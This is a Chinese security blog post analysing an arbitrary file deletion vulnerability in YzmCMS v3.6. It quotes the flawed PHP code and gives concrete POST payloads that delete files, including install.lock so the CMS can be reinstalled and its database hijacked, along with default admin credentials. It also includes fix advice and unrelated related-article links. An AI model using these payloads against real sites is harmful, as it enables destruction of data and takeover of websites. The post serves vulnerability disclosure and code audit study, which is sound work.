0x00 环境准备

YzmCMS官网:http://www.yzmcms.com/

程序源码下载:http://pan.baidu.com/s/1pKA4u99

测试网站首页:

0x01 代码分析

1、文件位置: /application/member/controller/member.class.php 第118-132行中:

  1. public function edit(){
  2. $userid = isset($_GET['userid']) ? intval($_GET['userid']) : 0;
  3. if(isset($_POST['dosubmit'])){
  4. if($_POST['password'] == ''){
  5. unset($_POST['password']);
  6. }else{
  7. $_POST['password'] = password($_POST['password']);
  8. }
  9. if(isset($_POST['del_userpic']) && $_POST['del_userpic'] == '1'){
  10. 10.             if($_POST['userpic'] != ''){
  11. 11.                 $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);
  12. 12.                 if(is_file($userpic)) @unlink($userpic);    //删除头像文件
  13. 13.                 $_POST['userpic'] = '';
  14. 14.             }
  15. 15.         }

这段函数中对提交的参数进行处理,当del_userpic满足条件,将userpic进行处理拼接到完整的路径中,然后使用unlink函数进行删除。参数Userpic可控,导致程序在实现上存在任意文件删除漏洞。

2、另外,这里应该是程序作者的一个逻辑缺陷,正常操作userpic并无法删除头像文件,因为这里在路径拼接处理上存在问题:

  1. $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);
  2. 等价于
  3. $userpic = YZMPHP_PATH.str_replace("\",'',$_POST['userpic']);

默认情况下,userpic提交的参数为/uploads/201801/18/180118105655915.jpg,这种情况下,“/”被过滤,组成的路径变成uploads20180118180118105655915.jpg,导致程序在实现上并无法正确删除头像文件。

3、如何绕过这种限制?

我们知道“/”被过滤,我们可以使用“\”,url编码%5C,绕过这种限制,提交

\\uploads\\201801\\18\\180118105655915.jpg,即可正常删除图片文件,这里应该是作者的一个逻辑缺陷,导致头像文件删除功能不正常。

0x02 漏洞利用

1、在网站根目录下,新建test.php作为测试文件:

2、利用管理员权限登录后台,可利用默认后台默认账号密码来猜解。

默认后台路径:http://127.0.0.1/admin/index/login.html

管理员默认账号密码均为:yzmcms

构造url连接,可成功删除根目录下的测试文件。

Payload:http://127.0.0.1/member/member/edit/userid/1.html

POST: del_userpic=1&dosubmit=&userpic=%5C%5C1.txt

3、如何进一步利用?

思路:删除\\cache\\install.lock文件,进行cms重装,劫持网站数据库。

Payload:http://127.0.0.1//application/install/index.php

POST:del_userpic=1&dosubmit=&userpic=%5C%5Ccache%5C%5Cinstall.lock

构造这样的请求,即可删除install.lock文件,然后访问

http://127.0.0.1/application/install/index.php 即可进行CMS重装。

0x03 修复建议

1、过滤..,用来防止目录跳转

2、对要删除的文件名进行严格限制

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析的更多相关文章

  1. 【代码审计】XYHCMS V3.5任意文件删除漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  2. 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析

      0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...

  3. 【代码审计】XIAOCMS_存在任意文件删除漏洞分析

      0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...

  4. 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析

      0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...

  5. 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  6. 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  7. 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  8. dzzoffice 任意文件删除漏洞分析

    dzzofiice 任意文件删除漏洞 \upload\dzz\system\dzzcp.php第199行 elseif($do=='deleteIco'){    $arr=array();    $ ...

  9. Wordpress4.9.6 任意文件删除漏洞复现分析

    第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...

随机推荐

  1. 微信小程序 —— 动态决定页面元素显示或隐藏的技巧

    在微信小程序开发中,经常遇到一些由后台控制显示(is_open : 1)或者隐藏(is_open : 0),有俩种办法: 复杂办法 1.先在元素的class中 class=’{{show?’true’ ...

  2. Linux 安装 yum

    1.使用RedHat系统不能正常使用yum安装 由于RedHat没有注册,所有不能使用它自身的资源更新, 查看安装源是否安装: # rpm –qa|grep yum 卸载安装源: # rpm –e – ...

  3. WIN10平板系统 如何自定义分辨率,修改分辨率

    从以下网址下载Intel网卡驱动,注意只要下载zip版本的(如果是exe版本的,双击将提示win10无法为此计算机验证正在安装的驱动程序,也包括你用驱动精灵这种软件,也会安装的时候由于这个问题装不上) ...

  4. 微信小程序 多个视频播放器

    大致思路就是,wx:for="{{ list }}"下两个view,一个视频video,另一个封面image(客户需求,要可以自定义封面).主要控制变量是playIndex,当点击 ...

  5. storm杂谈之Why use netty as transport instead of zeromq

    Storm后来用Netty来代替了zmq,这个能够參考一下两篇blog 这两篇blog具体的阐述原因以及一些性能測试, 大家參考一下 Reference 1.Netty 4 Reduces GC Ov ...

  6. 使用Buildozer部署Kivy到移动设备上

    在安装好Buildozer软件之后,我们在包含main.py的文件夹下运行buildozer init这个命令,然后我们就会看到在该文件夹下有一个buildozer.spec这个文件,这个文件主要是用 ...

  7. IntelliJ IDEA 2017.3/2018.1激活与汉化

    本文以IntelliJ IDEA 2017.3以及2018.1为例进行讲解.(持续更新:2018年5月28日) 适用版本(其它版本未测试): IntelliJ IDEA 2017.2.6.2017.3 ...

  8. [转]Visual Studio 2010 中安装Qt 5.1

    截至目前(2013年7月12日)为止,Qt 的最高版本为Qt5.1,在该版本中已经将Qt Creator与Qt Lib集成在一个文件夹中,因此安装的时候较为方便,只需安装一个即可.因为Qt具有超强的可 ...

  9. UnDistracted for Mac(集中注意力辅助工具)破解版安装

    1.软件简介    UnDistracted 是 macOS 系统上一款可以帮助我们集中注意力的辅助工具,让我们在 mac 电脑上工作更加集中注意力,提高工作效率,隐藏所有文件或是文件夹窗口.隐藏所有 ...

  10. easyui-switchbutton js判断是否启动

    <input class="easyui-switchbutton" id="statusId" name="status" onTe ...